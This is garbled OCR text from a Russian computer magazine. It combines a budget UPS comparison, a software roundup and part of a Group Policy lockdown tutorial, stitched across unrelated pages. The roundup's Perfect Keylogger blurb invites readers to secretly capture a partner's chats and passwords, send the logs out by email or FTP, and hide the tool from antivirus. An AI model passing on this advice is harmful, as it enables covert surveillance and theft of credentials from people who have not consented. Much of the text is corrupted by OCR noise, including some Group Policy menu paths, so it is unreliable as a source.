степенно понижалось входное напряжение, а мы засекали тот уровень, по- 
сле которого защита не выдерживала и UPS отключался от внешнего пита- 
ния и переходил на автономный режим работы (то есть на батарею). 

Если имелась управляющая утилита к ИБГ, то она устанавливалась 
на ПК, где изучались ее возможности и удобство использования. 


Напряжение перехода в автономный режим 


Название 

Riello РОС 600 

Ippon Back Comfo Pro 800 
Ippon Smart Power Pro 1000 
Lighthouse Pro 1000 

Riello WinDialog 65 Plus 
MGE Ellipse 600 

SVEN Pro 800 

Powercom Imperial 625A 
Lighthouse Base 600 


160 165 70 175 180 


185 190 195 200 205 210 215 


Чем более глубокую просадку напряжения выдерживает ИБП, тем реже он будет переключаться на батарею 


тестовый стенд: 
ПРОЦЕССОР, ГГЦ; 2, AMD Athlon XP 2400+ 


СИСТЕМНАЯ ПЛАТА: JetWay n2View (nVidia nForce 2 IGP) 


ПАМЯТЬ, MB: 512, DDR333 SEC 


ВИДЕОПЛАТА, МБ: 128, MSI GeForce Ti4200 


ОПТИЧЕСКИЙ ПРИВОД: ASUS CD-RW 


БЛОК ПИТАНИЯ, ВТ: 350, PowerMan 


МОНИТОР: 19" Samsung SyncMaster 930BF 


Ippon Back 
omfo Pro 800 
($90)******** 


МОЩНОСТЬ, ВА: 800 


ОЛИЧЕСТВО АВТОНОМНЫХ РОЗЕТОК, ШТ: 3 


ОЛИЧЕСТВО ОБЫЧНЫХ РОЗЕТОК, ШТ: 3 


НТЕРФЕЙС: USB, RS-232 


ДОПОЛНИТЕЛЬНО: защита телефонной 
/модемной линии 


ОЛИЧЕСТВО ИНДИКАТОРОВ, ШТ: 2 


ГАБАРИТЫ, ММ: 300x124x210 


ВЕС, КГ: 7 


> плюсы. «Иппон» в термино- 
логии восточных единоборств — 
это высшая оценка технических 
действий бойца, досрочная победа 
в поединке. Соответствующие ка- 
чества показал в наших тестах и 
этот ИБП, явно названный так не- 
спроста. Он очень долго (для 
устройств данного класса и цено- 


вой категории) проработал 

в автономном режиме, а встроен- 
ный в него сетевой фильтр также 
показал отличные результаты, 
выдержав серьезное падение на- 
пряжения. Сам ИБП похож на чер 
ный скальный утес. Если ты 
часто обозреваешь подстольное 
пространство, где подобные 
девайсы обычно находятся, то бу- 
дешь доволен пейзажем. 
Имеются три розетки, связанные 
с батарей, и столько же, устрой- 
ства которых защищены только 
от перепадов напряжения, 

порт для защиты модема или теле- 
фона. Что приятно — соединение 
с ПК возможно не только 

по древнему кабелю RS-232, но 

и по шине USB. 

> — минусы. Только два 

световых индикатора (обычно их 
больше). Нет защиты сети Ethernet. 


Lighthouse 
Base 600 
($45) **** 


МОЩНОСТЬ, ВА: 600 

КОЛИЧЕСТВО АВТОНОМНЫХ РОЗЕТОК, ШТ: 3 
КОЛИЧЕСТВО ОБЫЧНЫХ РОЗЕТОК, ШТ: нет 
ИНТЕРФЕЙС: RS-232 

ДОПОЛНИТЕЛЬНО: защита телефонной 
[модемной линии 

КОЛИЧЕСТВО ИНДИКАТОРОВ, ШТ: 2 
ГАБАРИТЫ, ММ: 95х354х17 

ВЕС, КГ: 6 


> плюсы. Можно сказать, 

что это UPS классического внешне- 
го вида — светлый прямоугольник, 
никаких дизайнерских изысков. 

На передней панели два индикато- 
ра и кнопка включения, а также 
логотип фирмы-производителя, 

все остальное на задней. 

«Все остальное» — это три входных 


розетки для защищаемых 
устройств, защита телефонной 

или модемной линии и интерфей- 
сный разъем RS-232. Данный ИБП 
имеет небольшие габариты и вес, 
что позволит размещать его 

в условиях дефицита жизненного 
пространства. 

> = минусы. Для соединения 

с компьютером есть только древний 
СОМ-интерфейс. Только два инди- 
катора на передней панели. Нет за- 
щиты для LAN. Только три розетки, 
нет розетки сетевого фильтра (не 
подключенной к аккумулятору). Да- 
леко не самые впечатляющие ре- 
зультаты в тесте на длительность 
автономной работы. Да, чтобы сох- 
ранить документы, времени хватит, 
но на что-то особенное рассчиты- 
вать не стоит. Так же обстоит дело 
и с препятствием просадкам напря- 
жения в сети. 


Время автономной работы 


Поле 

Ippon Smart Power Pro 1000 
SVEN Pro 800 

Lighthouse Pro 1000 

Ippon Back Comfo Pro 800 
Riello WinDialog 65 Plus 
Riello PDG 600 

Powercom Imperial 625A 
MGE Ellipse 600 

Lighthouse Base 600 


Интересно, что одна и та же мощность по версиям разных производителей отличается 


14:24:00 19:12:00 


24:00:00 


28:48:00 
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Riello РОС 600 
($75)******* 


МОЩНОСТЬ, BA: 550 

КОЛИЧЕСТВО АВТОНОМНЫХ РОЗЕТОК, ШТ: 3 
КОЛИЧЕСТВО ОБЫЧНЫХ РОЗЕТОК, ШТ: 1 
ИНТЕРФЕЙС: USB 

ДОПОЛНИТЕЛЬНО: защита телефонной 
/модемной линии 

КОЛИЧЕСТВО ИНДИКАТОРОВ, ЦТ: 3 
ГАБАРИТЫ, ММ: 88х122х322 

ВЕС, КГ: 3,3 


> = плюсы. Этот ИБП, носящий 
красивое итальянское имя, боль- 
ше похож не на классический 
UPS, а на толстый сетевой фильтр 
черного цвета. Сверху на нем рас- 
положены четыре розетки, три из 
которых подключены к аккумуля- 
торной батарее и могут обеспе- 
чить работу включенных в них 
устройств, даже если в сети не бу- 
дет энергии. Четвертая розетка 
работает только как сетевой 


фильтр. Кстати, с этой функцией 
ИБП справляется очень хорошо, 
выдерживая падения напряжения 
с 220 до 179 В. Также с помощью 
этого устройства можно защитить 
от проблем из розетки телефон- 
ное или модемное соединение. 
Для связи с компьютером исполь- 
зуется современный и удобный 
интерфейс USB. Присутствуют три 
цветовых индикатора, смотреть 
на которые гораздо удобнее, чем 


расшифровывать звуковые попи- 
скивания. Габариты устройства 
невелики, а время автономной ра- 
боты вполне достаточно для 

того, чтобы сохранить все доку- 
менты, отправить собеседникам 
сообщение о своем выходе 

из Сети и корректно выключить 
ПК. Снабжается мощной упра- 
вляющей утилитой. 

> — минусы. Нет возможности за- 
щитить ГАМ-соединение. 


Riello WinDialog 
65 Plus 
($85) ******* 


МОЩНОСТЬ, ВА: 650 

КОЛИЧЕСТВО АВТОНОМНЫХ РОЗЕТОК, ШТ: 3 
КОЛИЧЕСТВО ОБЫЧНЫХ РОЗЕТОК, ШТ: нет 
ИНТЕРФЕЙС: RS-232 

ДОПОЛНИТЕЛЬНО: защита телефонной 
/модемной линии 

КОЛИЧЕСТВО ИНДИКАТОРОВ, ШТ: 3 
ГАБАРИТЫ, ММ: 152х110х235 

ВЕС, КГ: 7 


> — плюсы. По сравнению с пред- 
ыдущим устройством, созданным 
той же компанией, в Riello WinDia- 
log 65 Plus увеличена мощность, 
что привело к самым положитель- 
ным результатам: выросло время 
автономной работы, теперь оно 
зашкаливает за 10 минут. Так что 


основная цель использования 
UPS — автономная работа в случае 
перебоев электроснабжения — бу- 
дет достигнута. Корпус данного 
ИБП представляет собой стильный 
серебристый брусок со скруглен- 
ными углами, который будет хоро- 
шо смотреться практически в лю- 
бом интерьере. На его передней 
панели расположены три индика- 
тора и кнопка включения, а на за- 
дней — три автономных электро- 
розетки и блок защиты линии свя- 
зи. Утилита управления такая же, 
какиу Riello PDG 600, то есть 
функциональная. 

> — минусы. Устаревший интер- 
фейс RS-232, по USB соединение с 
ПК невозможно. Отсутствует мо- 
дуль защиты LAN. Всего три розет- 
ки, причем среди них нет не под- 
ключенной к аккумулятору. 


ТОЧНО ОПРЕДЕЛИ ЧИСЛО НУЖНЫХ ТЕБЕ РОЗЕТОК. 
ТРИ МАЛО, ШЕСТЬ МНОГО. НАВЕРНОЕ, ЧЕТЫРЕ — 


ЭТО ОПТИМАЛЬНЫЙ ВАРИАНТ 


Powercom 
Imperial 625A 
($80) tok 


МОЩНОСТЬ, BA: 625 

КОЛИЧЕСТВО АВТОНОМНЫХ РОЗЕТОК, ШТ: 3 
КОЛИЧЕСТВО ОБЫЧНЫХ РОЗЕТОК, ШТ: 2 
ИНТЕРФЕЙС: USB 

ДОПОЛНИТЕЛЬНО: защита телефонной 
(модемной линии 

КОЛИЧЕСТВО ИНДИКАТОРОВ, ШТ: 3 
ГАБАРИТЫ, ММ: 105х334х168 

ВЕС, КГ: 7.4 


> — плюсы. Еще один ИБП класси- 
ческого для данного типа устройств 
внешнего вида — черно-серебря- 
ный корпус со скругленными угла- 
ми, небольших размеров и веса. 


Lighthouse 
Pro 1000 
($1 OO) tr” 


МОЩНОСТЬ, BA: 1000 

КОЛИЧЕСТВО АВТОНОМНЫХ РОЗЕТОК, ШТ: 6 
КОЛИЧЕСТВО ОБЫЧНЫХ РОЗЕТОК, ШТ: нет 
ИНТЕРФЕЙС: USB 


ДОПОЛНИТЕЛЬНО: защита телефонной 
/модемной линии 


КОЛИЧЕСТВО ИНДИКАТОРОВ, ШТ: 4 


ГАБАРИТЫ, ММ: 147х360х234 


ВЕС, КГ: 13 


> плюсы. Это устройство явля- 
ется практически полной копией 
предыдущего — верхняя граница 
ценового диапазона, крайне стро- 
гий внешний вид, высокая мощ- 
ность, а следовательно, отличные 
результаты в наших тестах. Пра- 
вда, они ниже, нежели у старшей 
модели Ippon, но существенно 60- 


Имеет несколько явных положи- 
тельных моментов, как-то: три авто- 
номные розетки, две розетки сете- 
вого фильтра, соединение с ком- 
пьютером происходит через порт 
USB. Обеспечивает защиту телефо- 
на или модема. Имеет три световых 
индикатора и стандартную звуко- 
вую сигнализацию. По основному 
параметру результат вполне доста- 
точный для минимизации послед- 
ствий отключения питания. Так что 
если внешний вид тебе нравится, то 
можешь приобрести этот девайс. 

> — минусы. Блок AVR, встроен- 
ный в ИБП, переключается на бата- 
рею даже при небольшом отклоне- 
нии напряжения от нормы. Нет бло- 
ка защиты ГАМ-соединения. 


лее высокие, чем у всех осталь- 
ных устройств. На передней пане- 
ли светлого прямоугольного кор- 
пуса находятся четыре световых 
индикатора и кнопка включе- 
ния/выключения. Задняя панель 
располагает шестью (много, все 
поместится) защищенными от ис- 
чезновения электричества розет- 
ками, интерфейсным разъемом 
USB и блоком защиты линии свя- 
зи. Блок AVR показал хороший 
результат, впрочем, как и аккуму- 
ляторная батарея. 

> — минусы. Габариты и вес 
устройства очень велики, так что 
это следует учитывать, иначе могут 
возникнуть проблемы. При равных 
цене и характеристиках, результаты 
тестов ниже, чем у Ippon Smart 
Power Pro 1000. Нет модуля защиты 
LAN и розетки, не подключенной к 
аккумулятору. 
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рр Smart 
ower Pro 1000 
($100) b0.0.0.0.8. 8.0.8.8 


МОЩНОСТЬ, ВА: 1000 


КОЛИЧЕСТВО АВТОНОМНЫХ РОЗЕТОК, ШТ: 4 
КОЛИЧЕСТВО ОБЫЧНЫХ РОЗЕТОК, ШТ: нет 


ИНТЕРФЕЙС: USB, В$-232 


ДОПОЛНИТЕЛЬНО: защита телефонной 


[модемной линии 


КОЛИЧЕСТВО ИНДИКАТОРОВ, ШТ: 6 
ГАБАРИТЫ, ММ: 368х140х180 


> плюсы. Один из самых доро- 
гих ИБП в нашем обзоре, вплотную 
подошедший к обозначенной нами 
ценовой границе, но он того стоит. 
Его внешний вид вряд ли сможет 
взволновать тонких ценителей 
изощренных дизайнерских 

изысков — обычный белый прямоу- 
гольник. Однако функционал этого 
устройства очень и очень хороший. 
Начнем с самого главного: время 
его автономной работы составило 
25 минут, что в два-три раза выше, 


чем у его некоторых соперников по 
обзору! Ну, получаса должно хва- 
тить на все (я иногда даже 
успеваю доиграть партию в Counter 
Strike!). Встроенный сетевой 
фильтр также сработал на отлично. 
Конструктивно все очень проду- 
манно. На передней панели разме- 
щены индикаторы (особенно удо- 
бен световой многоуровневый ин- 
дикатор заряда батареи). Есть еще 
одна очень приятная деталь — 
кнопка отключения звукового сиг- 


нала, которая понравится очень 
многим. Кто слышал сигналы ИБП, 
отключенного от сети (эти против- 
ные писки) — тот поймет. Задняя 
панель устройства отдана под 
четыре розетки, рядом с которыми 
уютно разместились блок защиты 
линии связи и разъемы двух 
интерфейсов. 

> минусы. Отсутствует блок за- 
щиты LAN. Нет розеток, не подклю- 
ченных к аккумулятору. Очень боль- 
шой вес устройства. 


MGE Ellipse 600 
($95)***** 


МОЩНОСТЬ, ВА: 600 

КОЛИЧЕСТВО АВТОНОМНЫХ РОЗЕТОК, ЦТ: 3 
КОЛИЧЕСТВО ОБЫЧНЫХ РОЗЕТОК, ШТ: 1 
ИНТЕРФЕЙС: оптический 
ДОПОЛНИТЕЛЬНО: защита телефонной/мо- 
демной линии 

КОЛИЧЕСТВО ИНДИКАТОРОВ, ШТ: 4 
ГАБАРИТЫ, ММ: 221х167х78 

ВЕС, КГ: 4 


> — плюсы. Еще один ИБП 
нестандартного внешнего вида, 
наверняка этим он многим и понра- 
вится. Приземистый серебристый 
четырехугольник, на боках которо- 
го расположено все его богатство. 
Это защита телефонной/модемной 
линии, три автономных розетки, 
связанных с батареей, и одна 
обычная (розетки очень демон- 
стративно заточены под евростан- 
дарт, но бояться не надо, наши 
вилки туда тоже влезут). Имеются 


также три световых индикатора 
и кнопка включения, которая также 
несет и сигнализационные 
функции. Для соединения с ПК 
есть особый порт, кабель которого 
заканчивается разъемом СОМ 

или USB (оба кабеля есть 

в комплекте). 

Начинка у данного устройства 
неплохая, по крайней мере, для 
блока AVR это справедливо 
на все сто процентов: он прошел 
тест, показав очень хороший 
результат. Итоги теста 
на длительность автономной 
работы не лучшие в нашем тесте, 
но приемлемые. 
> — минусы. Но не для устрой- 
ства ценой почти в $100, так 
как его достигают и UPS, стоящие 
вдвое дешевле. Нет блока 
защиты LAN. 

Звуковая индикация 
совсем не понравилась: очень 
тихая, совершенно ничего не вы- 
ражающая. 


ДОСТАТОЧНО БУДЕТ ПРИОБРЕСТИ НЕДОРОГОЙ ИБП, 
КОТОРЫЙ СМОЖЕТ ПОДДЕРЖИВАТЬ СИСТЕМУ НА ПЛАВУ ХОТЯ 
БЫ ПЯТЬ МИНУТ, ЧТОБЫ ТЫ УСПЕЛ СОХРАНИТЬ ВСЕ 
ДОКУМЕНТЫ И КОРРЕКТНО ЗАВЕРШИТЬ РАБОТУ WINDOWS 


Test_lab выражает благодарность за предоставленное на тестирование 

оборудование компаниям: 

Лайтхаус (т.(495)689-86-03, www.lighthouseups.ru), МЕРЛИОН (www.merlion.ru), Nevada 
(www.nevada.ru), Erimex (т.(495)232-06-86, www-erimex.ru) a также российским 
представительствам АРС и MGE. 


ВЫВОДЫ: ОКАЗЫВАЕТСЯ, ЗАЩИТИТЬ СЕБЯ ОТ ПОТЕРЬ, СВЯЗАННЫХ С 
ВНЕЗАПНЫМ ИСЧЕЗНОВЕНИЕМ НАПРЯЖЕНИЯ, МОЖНО ЗА ВПОЛНЕ 
НЕБОЛЬШИЕ ДЕНЬГИ. ВСЕ ПРОТЕСТИРОВАННЫЕ СЕГОДНЯ УСТРОЙ- 


СТВА СПРАВЛЯЮТСЯ С ЭТОЙ ЗАДАЧЕЙ. КТО-ТО ЛУЧШЕ, КТО-ТО ХУЖЕ. 


ВЫБИРАТЬ ТЕБЕ, А НАШ ВЫБОР СЕГОДНЯ ТАКОВ: ТИТУЛ «ВЫБОР РЕ- 


Sven Pro 800 
($90) Жжжжжжжжх 


МОЩНОСТЬ, ВА: 800 

КОЛИЧЕСТВО АВТОНОМНЫХ РОЗЕТОК, ШТ: 3 
КОЛИЧЕСТВО ОБЫЧНЫХ РОЗЕТОК, ШТ: нет 
ИНТЕРФЕЙС: RS-232 

ДОПОЛНИТЕЛЬНО: защита телефонной 
/модемной линии 

КОЛИЧЕСТВО ИНДИКАТОРОВ, ШТ: 2 
ГАБАРИТЫ, ММ: 122x141x398 

ВЕС, КГ: 8.5 


> плюсы. Tak получилось, что 
все сегодняшние дорогие и мощ- 
ные ИБП имеют совершенно стан- 
дартный внешний 
вид, и изделие SVEN не стало ис- 
ключением. Абсолютно стандарт- 
ный светлый прямоугольник кор- 
пуса, содержащий внутри себя 
мощную начинку. 

Второе место по результату 
теста на длительность автономной 


работы (21 минута с копейками) 
что-то да значит. К тому же его 
цена чуть меньше, чем 

у лидера, что также немаловажно. 
Возможна защита телефона 

или модема. 

> минусы. К сожалению, 
остальные качества данного 

ИБП либо посредственные, либо 
явно отрицательные. К последним 
относятся два световых индикато- 
ра (мало), а также интерфейс 
RS-232 (старый, USB нет). 
Имеется всего три розетки, при- 
чем ни одной, не подключенной 

к аккумулятору, нет. 

Вес устройства довольно велик. 
Защита ГАМ-соединения отсут- 
ствует. Блок А\/В сработал до- 
вольно слабо. 

Напряжение: Чем более глу- 
бокую просадку напряжения выдер- 
живает ИБП, тем реже он будет пе- 
реключаться на батарею. 


ДАКЦИИ» ДОСТАЕТСЯ IPPON SMART POWER PRO 1000 ЗА НЕПРЕВЗОЙ- 
ДЕННОЕ ВРЕМЯ АВТОНОМНОЙ РАБОТЫ И ОТЛИЧНЫЕ ХАРАКТЕРИСТИ- 
КИ. ПУСТЬ ЕГО ЦЕНА ВЕЛИКА (ПО СРАВНЕНИЮ С ДРУГИМИ), НО ОН ЕЕ 
ПОЛНОСТЬЮ ОПРАВДЫВАЕТ. А «ЛУЧШАЯ ПОКУПКА» — ЭТО RIELLO 
РОС 600. СКРОМНАЯ ЦЕНА ПРИ ОТЛИЧНЫХ ПАРАМЕТРАХ © 
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Flaming Pear Flexify v2.02 

Этот плагин к Photoshop позволяет при- 

давать фоткам самые необычные фор- 

мы, например имитировать отражение 
картинки в зеркальном шаре. Можно де- 
лать панорамы, накладывать разные эф- 
фекты и многое другое. 


Gmetal Guikit для Windows ХР 


В наборе: 
— ВИЗУАЛЬНЫЙ СТИЛЬ GMETAL; 
™ СКИН ДЛЯ OBJECTBAR; 
“ STYLER TOOLBAR; 
™ СКИН ДЛЯ FIREFOX; 
™ СКИН ДЛЯ ITUNES; 
™ СКИН ДЛЯ VLC; 
™ ADIUM СКИН ДЛЯ MIRANDA; 
™ СКИН ДЛЯ SHELLWM; 
™ СКИН ДЛЯ VANIM. 


Плюс Niqu для 

OSX — Rick Patrick, 

Gmetal mod ana 

OSX — DigitalJames. 
Портировано 

для Windows — Kavin. 


EscapeClose Pro 2.0 
Маленькая и полезная 
утилита EscapeClose Pro 
позволяет NO нажатию 
кнопки <Е$с> закрывать, 
минимизировать или пря- 
тать активные окна. При этом спрятанное окно 
не видно ни в панели задач, ни в списках по 
нажатию комбинаций клавиш <Alt>+<Tab> или 
<Ctrl>+<Alt>+<Del>. Программа имеет пять ре- 
жимов работы, обитает в трее (рядом с часа- 
ми), поддерживает исключения, умеет приос- 
танавливать запуск скринсейвера и т.д. 


обеты. рану 
лы зна аа 


FastStone Image Viewer 2.6 Beta 2 
Вьювер, редактор и конвертор графических 
файлов. Поддерживает все популярные фор- 
маты графики, включая JPEG, JPEG 2000, 
GIF, PNG, PCX, TIFF, WMF, BMP, ICO, RAW и 
TGA. Обладает простым и удобными интер- 
фейсом, сочетая его с множеством полезных 
возможностей. Поддерживается пакетное из- 
менение размеров и переименование карти- 
нок, удаление ненужных фрагментов, подгон- 
ка и изменение цветов, установка водяных 
знаков и т.д. и т.п. Имеется возможность 

т создавать слайдшоу с более чем 150-ю 
эффектами перехода и фоновой музы- 
кой, присутствуют разные 
графические эффекты, 
ZOOM, полноэкранный ре- 
жим, поддержка работы со 
сканером и т.д. Кроме того, 
программа умеет делать 
скриншоты экрана, причем 
|. как экрана целиком, так 

|| и любой его части. 


BearShare Pro 5.2.3.10 
Программа для поиска и 3a- 
грузки файлов через сеть 
Gnutella. Позволяет находить 
и скачивать практически лю- 
бые файлы, например прог- 
раммы, МРЕС, АМ, 

JPEG, GIF. 


Copy DVD Gold 2.12 
Copy DVD Gold поддерживает 

копирование двойного слоя DVD-gnuckos. Легко 
скопирует весь DVD одним щелчком и без 
лишних вопросов — думаю, это понятно из 
названия. Включает свободную копию Сору 
DVD Gold компакт-диск/О\О-запись (если кто- 
то не понял, это программное обеспечение ти- 
па CopyToDVD). 


Stardock ObjectDock Plus v1.3 
Программка для замены системной панели 
в стиле Мас OS: наводишь указатель мы- 
ши на любую иконку, размещенную на До- 
ке, и она увеличивается в размере. На Доке 
можно размещать ярлыки от любых программ. Кроме того, на ней же размещаются 
иконки уже запущенных программ (как на системной панели Windows), а также неко- 
торые системные иконки: «Корзина», «Мой компьютер», работающие стрелочные ча- 
сы. Панель настраивается и допускает изменения шрифта, которым отображаются 
всплывающие подсказки, а также пределов изменения размеров иконок. Есть опция 
удаления «настоящей» системной панели и такая пусть мелкая, но приятная вещь, как 
отображение запущенного процесса не простой его иконкой, а маленьким «снимком» 
открытого окна. 


этиш «(Perfect 


Advanced RAR Password 
Recovery (ARPR) 

Advanced RAR Password Recovery (ARPR) — nporpam- 
Ma для восстановления забытых паролей к архивам, 
созданным архиваторами ВАН и WinRAR. 

В этих архиваторах применен очень стойкий ал- 
горитм шифрования, поэтому пароль к архи- 
ву не может быть вычислен из каких-либо 
данных. Правда, пароль можно подобрать 
прямым перебором либо атакой по слова- 
рю. В АВРН встроен мощный модуль пере- 
бора, оптимизированный под процессоры 
Pentium Ш и Pentium IV. 


LimeWire Pro 4.11.0.1.Final 
Вышла свежая версия программы 
LimeWire, предназначенной для поиска 
и обмена файлами любых типов между 
пользователями. Основываясь на прото- 

kone Gnutella, LimeWire имеет возможность 
подключения к любым сетям обмена файлами, 
в которых используются те же самые принци- 
пы построения. 

При запуске 

программа 

подключается 

через интернет 

к центрально- 

му серверу, 

откуда потом 

получает всю 

информацию 

о конфигура- 

ции сети и 

доступных ре- 

сурсах... 


EVEREST Ultimate 
2.80.577 Beta 

Одна из лучших информационно- 
диагностических программ пре- 
доставит максимум информации 
о твоей системе. Ранее програм- 
ма носила название AIDA32. 


Keylogger 1.6.2 
Хочешь узнать, с кем 
переписывается по 
аське твоя любимая, 
пока ты на работе? 
Нет ничего проще, 
Perfect Keylogger как 
раз и предназначен 
для таких целей. Он аккуратно запишет все чаты, пароли и 
другой ввод с клавиатуры и потом пошлет их тебе по е-тай 
или загрузит на FTP. 

Также делает скриншоты через заданный промежуток 
времени. Есть «скрытный» режим: программа прячется от 
того, на чьем компьютере она установлена. Не забудь до- 
бавить папку с установленным Perfect Keylogger в список 
исключений антивируса, иначе его легко отловит, напри- 
мер, NOD32. 

ВНИМАНИЕ! Perfect Keylogger является трояном (кла- 
виатурным шпионом). 


htm2chm 3.0.9.3 
Простой и удобный 
инструмент для соз- 
дания одного-един- 
ственного .chm-qbai- 
ла (формат справки 
MS Windows) из кучи 
отдельных html-ctpa- 
ниц, рисунков, описа- 
ний и даже целых 
сайтов. 


Fetch Text URL 1.6 


Эта полезная добавочка к Firefox позволяет открывать ссылки 
на страницах и в письмах, прописанные в виде текста, а не ги- 
перссылки. На момент публикации скачан более 20-ти тысяч 
раз и лидирует среди аналогов Ha addons.mozilla.org, ust have для 
тех, кто осознанно 
сделал выбор в 
пользу Firefox. 

Обнаружено 
после громоглас- 
ного поста об 
уникальных фиш- 
ках, которых, кро- 
ме как в Орега, 
якобы больше 
нигде нет. 
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Remote Administrtor 3.0 Beta 1 
Вышла новая версия известной 
программы RAdmin. Пока, к сожалению, 
бета и Trial (90 дней). 

их из файла? 


Его не может не быть. 


Back и Next. 


Извлекаем картинки из PDF 

Не будем спорить о достоинствах и не- 
достатках формата PDF. Он есть, и им 
активно пользуются, иногда даже для 
создания фотогалерей и очень часто — 
для распространения документов, содер- 
жащих множество пояснительных схем и 
картинок. Мы тоже не прочь использо- 
вать эти картинки, только как выдернуть 


Конечно, Acrobat Reader позволяет 
копировать изображения по одному, но 
если их там пара сотен? Решение есть... 


PDF Image Extraction Wizard невелик 
(всего 745 Кб), бесплатен и прост. У него 
даже нет обычного окна: при запуске отк- 
рывается классический «мастер» (не зря в 
названии есть слово wizard) с кнопочками 


Welcome to РОЕ Image 
Extraction Wizardl 
The pean ere pou Boney фас bitte agen 
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НАСТРОЙКА ПОЛИТИКИ ДОМЕННОЙ БЕЗОПАСНОСТИ. 
ЧАСТЬ ВТОРАЯ 


АЛЕКСАНДР ПРИХОДЬКО (S AN PRIH@MATIL. RU 


Pe 7 2 к Daa Ce a tee oe Ske = per 
Итак, продолжаем разговор. Займемся подстройкой доменной политики под 3. ны a ower Lena tte eet ns 
. | im (coming a cea 
наши нужды. Мы определись в TOM, что на уровне доменной политики будет © Ok ees дыни = Statens = Ses 
очень мало параметров. Сейчас сделаем для всех пользователей домена oh ead ца ВВЕЛА а ия на cg bs en из 
подключение к интернету и аудит. Для настройки Internet Explorer открыва- eaten ta 
. сев 

ем ветку в GPO Edit User Configuration Windows Settings— Internet Explo- ры Etre os bree | 

. . . ы alae eee 
rer Maintenance> Connection— Proxy Settings, где и прописываем адрес Se БыЫЙЬ Я ЕН РЫБ д ный в БЫ Были | ПЫ 
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прокси-сервера. р ей мы 

Естественно, ставишь адрес своего сервера. Если в твоей конторе | aad ki ere joni 
есть корпоративный web-cepBep, ты можешь прописать его для всех ee в Тынаыьы ЗБ В рен ie al ие ват жены Pa 


пользователей стартовой страницей. Если нет, то пропиши что-нибудь 
полезное, например www.rambler.ru, Для этого переходишь на закладку 
URLs- Important URL, в строке Home URLs пишешь нужную стартовую I 
страницу в формате http:/www.rambler.ru, Теперь при запуске IE всегда бу- 1 
| 


дет открываться страница, заданная тобой. Еще целая куча настроек IE ee aes . 
explorer'a прячется в ветке User Configuration> Pe ea see lati antares 
Administrative Templates— Internet Explorer. Установка ГО 
Если ты хочешь перекрыть доступ к каким-ли- прокси-сервера 

бо настройкам IE explorer’a, TO покопайся в Us- 

er Configuration Administrative Templates— In- Отключение меню 


ternet Ехр!огег-» Internet Control Panel. Я обычно 
запрещаю доступ к настройкам подключения IE explorer'a. Если нужно 
запретить пользователю еще и смену стартовой страницы, то активируй 
пункт User Configuration Administrative Тетр!аез-» Internet Explorer> 


mane po 
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Disable changing home page settings. Можешь запрещать доступ к каким- ЕД 
то определенным свойствам IE explorer'a или просто отключать целые [ое 
пункты меню. So as 
Теперь посмотрим, как выглядит Internet Explorer Ha машине Балагано- ити Pie 
ва после наших хирургических вмешательств. Обновляем политику на KOH- $ ид рии ый = = 
троллере домена и перечитываем ее Ha машине Балаганова. ‘ рый Us 
Обрати внимание: установлена та стартовая страница, которая бы- Пена 
ла прописана, и пользователь не может изменить адрес стартовой стра- | erp 
ницы, а закладки «Подключение» вообще нет. Таким образом, ты мо- ны 
жешь полностью контролировать через GPO внешний вид и установки — | 
клиентских компьютеров. Повторюсь, для IE-explorer'a ты можешь на- ен 5 


страивать каждый параметр или просто отключить закладки со всеми па- | 3 ‘ИА 


раметрами, находящимися на ней. Закладки отключать здесь (на приме- 
pe Default Domain Policy): Default Domain Ройсу-» User СопйдигаНоп-» Ad- 
ministrative Templates Windows Components-— Internet Explorer— Internet 
Control Panel. Можешь поэкспериментировать на машине пользователя, 
только после изменений в политике не забывай про «gpupdate». Опять 
же, для экспериментов лучше создай отдельное OU и играйся на нем. Бо- 
же тебя упаси делать это на доменной политике. Убьешь домен — даже 
не поймешь когда и как. 

Теперь займемся групповой политикой, которая будет создана для 
твоих потенциальных врагов — слишком продвинутых пользователей. 
Уже созданы OU «Враги» и групповая политика с таким же именем. При- 
вязываем групповую политику «Враги» к OU «Враги». Заготовка для 
борьбы уже готова! В этом OU ты и откатываешь саму групповую поли- 
тику запретов. Однако в жизни часто складываются ситуации, когда по- 
тенциальный враг все-таки должен пользоваться ресурсами домена. 
Если ты закроешь для него все и он не сможет выполнять свои функции, 
скорее всего, тебя уволят. Значит, будем хитрее и оставим врагу воз- 
можности пользоваться всем необходимым для 
работы, но перекроем кислород при попытке 
заняться творчеством на участке работы, вве- 
ренном тебе. 

Итак, моделируем поставленную перед на- 
ми задачу. Если ты помнишь, врагом был назна- 
чен экономист Тяпкин. Он должен заходить в ин- 
тернет (начальство говорит: «Интернет жизненно необходим в работе Тяп- 
кина»), должен иметь доступ к сетевым дискам, у него должен работать 
определенный набор программ. Все предоставим, однако запретим изме- 
нять что-либо в настройках рабочего стола. Подключим необходимые сете- 
вые диски, но насмерть закроем доступ в сеть всеми способами, известны- 
ми ему. Сначала вспоминаешь известные способы доступа к сети. Пер- 
вый — войти в «Сетевое окружение». 

Убираешь ярлык «Сетевого окружения» с «Рабочего стола» в Group 
Policy Object Editor> User Configuration Administrative Тетр!а{е$-» Desktop— 
Hide My Network Places Icons on Desktop— Enabled. Получи, фашист, гранату! 

Следующий способ попасть в Сеть — «Проводник»-+ «Сетевое окру- 
жение». Пристреливаешь его и все остальные возможности «Проводника» 
по доступу к «Сети»: Group Policy Object Editor User Configuration Admini- 
strative Templates Windows Components Windows Explorer: 

Remove "Map Network Drive" and "Disconnect Network Drive" Enabled; 
Remove Search button from Windows Explorer> Enabled; 

No Computers Near Me in My Network Places Enabled; 

No "Entire Network" in My Network Places> Enabled; 

Продолжаешь вспоминать. Умный и хитрый Тяпкин помнит команду 
подключения сетевых дисков: 

«Пуск» «Выполнить»-» «\\xak\Music» (вместо «Music» он пытается 
подключить известную ему шару, которую ты не хочешь отдавать в исполь- 
зование Тяпкину). Значит, уберем пункт меню «Выполнить», попутно убе- 
рем все, что связанно с сетью. 

Group Policy Object Editor> User СопйдигаНоп-+ Administrative Templa- 
tes> Start Menu and Taskbar: 

Remove Network Connection from Start Мепи-» Еп- 
abled; 

Remove Search menu from Start Menu Enabled; 
Remove Run menu from Start Menu Enabled; 
Remove My Network Places icons from Start Menu 
Enabled; 


Вид IE на клиентской 
машине 


Обязательное 
применение политики 


Применение полити- 
ки на пользователя 


Создание OU «Враги» 
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Не затронута только «Панель управления» — оттуда тоже можно по- 
пасть в Сеть. Чтобы не мучиться, мы просто перекроем доступ к «Панели 
управления». 
Group Policy Object Editor> User Configuration Administrative Templates 
Control Panel: 
Prohibit access to the Control Panels Enabled. 

Напоследок запретим Тяпкину вызывать командный интерпретатор (cmd): 


59 Ble Action бен Window — Help 


